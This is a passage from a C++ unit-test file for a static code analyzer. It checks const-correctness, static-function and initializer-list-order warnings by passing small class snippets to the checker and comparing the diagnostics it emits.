{\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int 